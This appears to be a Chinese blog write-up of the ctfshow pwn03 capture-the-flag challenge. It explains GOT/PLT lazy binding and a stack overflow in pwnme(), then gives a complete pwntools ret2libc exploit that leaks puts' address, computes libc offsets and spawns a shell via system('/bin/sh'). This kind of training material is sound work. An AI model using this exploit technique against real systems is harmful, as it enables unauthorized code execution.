ctfshow pwn03

ctfshow pwn03

知识点:
全局偏移表(GOT:Global Offset Table)存放外部的函数地址
程序链接表(PLT:Procedure Link Table)存放额外代码

延迟绑定:只有动态库函数在被调用时,才会地址解析和重定位工作

plt表和got表
程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址
截图出处
截图出处

main()函数
在这里插入图片描述pwnme()
s只开辟了9个字节,而fgets函数读入了100(0x64)个字节
在这里插入图片描述存在栈溢出漏洞,但是没有system(bin/bash)地址
思路:

泄漏GOT表 ->获取远程环境的函数的真实地址->判断libc的版本->计算泄漏的函数got表的地址->计算system()函数的偏移->system()函数的真实地址
-> 计算system函数与/bin/sh的偏移->getshell

from pwn import *
context.log_level = 'debug'
elf = ELF('./stack1')
p = process('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值